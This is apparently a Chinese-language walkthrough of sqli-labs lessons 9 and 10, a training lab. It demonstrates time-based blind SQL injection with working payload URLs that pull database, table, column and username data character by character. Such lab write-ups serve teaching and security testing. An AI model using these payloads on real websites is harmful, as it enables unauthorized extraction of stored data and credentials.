sqli-labs Less-9/10 Blind--Time Based 基于时间的盲注

Less-9/10 GET Blind–Time Based 基于时间的盲注

Less-9是单引号闭合,Less-10 是双引号闭合,下面以Less-9为例分析

1、判断页面情况

如论我们输入的语句是否合法,页面的显示信息是固定的,即不会出现查询的信息,也不会出现报错信息。可以尝试基于时间的盲注来测试。根据页面响应的时间,来判断输入的信息是否正确。

2、语句构造

常用的是结合if 和sleep语句使用,构造语句如下:
if (条件,语句1,语句2):条件成立则执行语句1,否则执行语句2。
length 获取字符串的长度
substr 将符串进行截取,从第几个开始,截取几个字符
语法:substr(string,start,length)
ascii 是取字符的ASCII值

3、获取数据库信息

获取数据库名

http://192.168.195.110/sqli-labs/Less-9/?id=1’ and if ((length(database())=9),sleep(3),1) – +
如果数据库的名的长度为9 ,则sleep 3秒,否则直接显示信息
sqli-labs Less-9/10 Blind--Time Based 基于时间的盲注
看到响应时间是25ms,说明条件语句不成立,修改一下条件语句
http://192.168.195.110/sqli-labs/Less-9/?id=1’ and if ((length(database())=8),sleep(3),1) – +
sqli-labs Less-9/10 Blind--Time Based 基于时间的盲注
响应时间为3s左右,说明条件语句成立,数据库名的长度为8个字符。
可以结合 > < = 判断运算符,采用二分法,构造如下的语句,分别猜测试出8字符,比如,先用 > 50判断,如果成立,再用< 123 判断,如果不成立,则正确的值就在50-123之前,这样不段的尝试最终用= 确定具体值。
http://192.168.195.110/sqli-labs/Less-9/?id=1’ and if ((ascii(substr(database(),1,1))>50),sleep(3),1) – +
http://192.168.195.110/sqli-labs/Less-9/?id=1’ and if ((ascii(substr(database(),1,1))<123),sleep(3),1) – +
http://192.168.195.110/sqli-labs/Less-9/?id=1’ and if ((ascii(substr(database(),1,1))=115),sleep(3),1) – +
第一个字符ASCII值为115,查询ASCII表对应是小s
依次猜测最终可猜测到数据库名为" security "

获取数据表

如第四张表的表名长度:
http://192.168.195.110/sqli-labs/Less-8/?id=1’ and if (((select length(table_name) from information_schema.tables where table_schema=“security” limit 3,1)=5),sleep(3),1) – +
可以得出第四张表的表名长度为5
依次猜测第四张表的表名的5个字符,以第一个字符为例:
http://192.168.195.110/sqli-labs/Less-9/?id=1’ and if ((ascii(substr((select table_name from information_schema.tables where table_schema=“security” limit 3,1),1,1))=117),sleep(3),1) – +
第一个字符ASCII值为117,是小u
依次猜测可以得到第四张数据表名为"users"

获取表中数据

猜测users表中第二个字段的长度:
http://192.168.195.110/sqli-labs/Less-8/?id=1’ and if (((select length(column_name) from information_schema.columns where table_schema=“security” and table_name=“users” limit 1,1)=8),sleep(3),1) – +
第二个字段的长度为8
猜第二个字段中的每个字符:
http://192.168.195.110/sqli-labs/Less-9/?id=1’ and if ((ascii(substr((select column_name from information_schema.columns where table_schema=“security” and table_name=“users” limit 1,1),1,1))=117),sleep(3),1) – +
第一个字符ASCII值为117,是小u
同理可以分别猜测出第二个字段和第三个字段分别是:username, password

猜数据表中的数据
第一个username的长度
http://192.168.195.110/sqli-labs/Less-8/?id=1’ and if (((select length(username) from users limit 0,1)=4),sleep(3),1) – +
第一个username长度为4
第一个username的第一个字母的ASCII值
http://192.168.195.110/sqli-labs/Less-9/?id=1’ and if ((ascii(substr((select username from users limit 0,1),1,1))=68),sleep(3),1) – +
第一个username的第一个字符的ASCII值为68, 是D

按次方法构造语句,依次猜测出所需要数据。